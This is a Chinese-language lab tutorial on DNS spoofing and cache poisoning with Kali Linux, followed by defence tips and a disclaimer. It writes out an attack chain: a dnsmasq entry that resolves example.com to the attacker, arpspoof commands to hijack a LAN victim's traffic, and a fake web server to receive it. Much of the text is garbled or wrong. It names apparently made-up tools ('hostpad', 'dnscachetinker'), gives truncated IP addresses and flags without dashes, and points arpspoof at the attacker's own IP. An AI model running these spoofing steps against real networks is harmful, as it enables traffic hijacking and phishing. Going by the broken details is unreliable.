Kali中DNS欺骗实验详解
实验背景与目标
1 什么是DNS欺骗
DNS(Domain Name System)欺骗是一种网络攻击技术,通过伪造DNS响应或劫持DNS查询流量,将用户引导至恶意服务器,攻击者可篡改域名解析结果,实现流量劫持、钓鱼攻击等目的。
2 实验目标
- 理解DNS协议的工作原理
- 掌握Kali Linux中DNS欺骗的工具与方法
- 模拟DNS缓存投毒攻击场景
- 学习防御DNS欺骗的安全策略
实验环境准备
1 硬件要求
组件 | 要求 |
---|---|
攻击机 | Kali Linux(版本≥2025) |
目标机 | 任意Linux/Windows系统 |
网络环境 | 同一局域网(支持ARP欺骗) |
2 软件工具
工具名称 | 用途 | 安装命令 |
---|---|---|
dnsutils | DNS服务器搭建与测试 | sudo apt install dnsutils |
hostpad | DNS请求监控与篡改工具 | sudo apt install hostpad |
arpspoof | ARP欺骗(辅助工具) | sudo apt install dsniff |
3 网络拓扑
[攻击机] switch [目标机/网关]
DNS欺骗原理分析
1 DNS工作流程
- 客户端发起DNS查询请求(如
www.example.com
) - 请求被发送到本地DNS服务器或缓存
- DNS服务器返回解析结果(如
184.216.34
)
2 攻击原理
- 缓存投毒(Cache Poisoning):伪造DNS响应包,污染目标机DNS缓存。
- ARP欺骗:冒充网关MAC地址,截获目标机的DNS流量。
- DNS劫持:直接篡改DNS服务器响应数据。
实验步骤详解
1 搭建伪造DNS服务器
-
编辑
/etc/dnsmasq.conf
文件:domainneeded boguspriv address=/example.com/192.168.1.100
- 将
example.com
解析到攻击机IP(192.168.1.100)
- 将
-
启动DNS服务:
sudo systemctl start dnsmasq
2 ARP欺骗与流量劫持
-
识别网关IP:
ip route | grep default
假设网关为
168.1.1
-
执行ARP欺骗:
sudo arpspoof i eth0 t 192.168.1.100 r 192.168.1.1
i eth0
:指定网络接口t
:目标IP(受害者)r
:伪造网关回复
3 监控DNS请求
-
启动hostpad:
sudo hostpad i eth0
实时显示目标机的DNS查询请求
-
手动篡改响应:
在hostpad界面中,修改查询结果为恶意IP
实验效果验证
1 测试缓存投毒
-
在目标机执行:
nslookup www.example.com
预期结果:返回攻击机IP(192.168.1.100)
-
检查DNS缓存:
dig www.example.com @192.168.1.100
2 流量劫持验证
-
在攻击机启动HTTP服务器:
python3 m http.server 80
-
在目标机访问
http://www.example.com
:预期结果:显示攻击机上的网页内容
防御措施与安全建议
1 客户端防御
防护手段 | 实现方式 |
---|---|
静态ARP表 | 在目标机绑定网关MAC地址:arp s 192.168.1.1 xx:xx:xx:xx:xx:xx |
DNSSEC验证 | 启用系统DNSSEC功能(需支持的DNS服务器) |
固定DNS服务器 | 在/etc/resolv.conf 中指定可信DNS服务器 |
2 服务器端防御
防护策略 | 实施方法 |
---|---|
DHCP Snooping | 交换机启用DHCP绑定,防止伪造IP租赁 |
端口安全策略 | 限制交换机端口允许的MAC地址 |
网络隔离 | 使用VLAN划分不同信任区域 |
常见问题与解答
Q1:如何检测网络中的ARP欺骗?
A:
- 使用
arp a
命令查看网关MAC地址是否异常 - 启用系统日志警报(如
/var/log/syslog
中的ARP警告) - 部署网络IDS(如Snort)检测异常流量
Q2:除dnsmasq外还有哪些DNS欺骗工具?
A:
| 工具名称 | 特点 | 命令示例 |
||||
| dnscachetinker | 直接篡改系统DNS缓存 | dnscachetinker example.com 192.168.1.100
|
| mitmproxy | 基于HTTPS的中间人攻击框架 | mitmdump s flow_modify.py
|
| BetterCap | 集成ARP欺骗与DNS劫持的综合性工具 | bettercap proxy eth0
|
免责声明:本文仅供网络安全研究与教学使用,严禁用于非法用途,未经授权的网络攻击行为违反《网络安全法》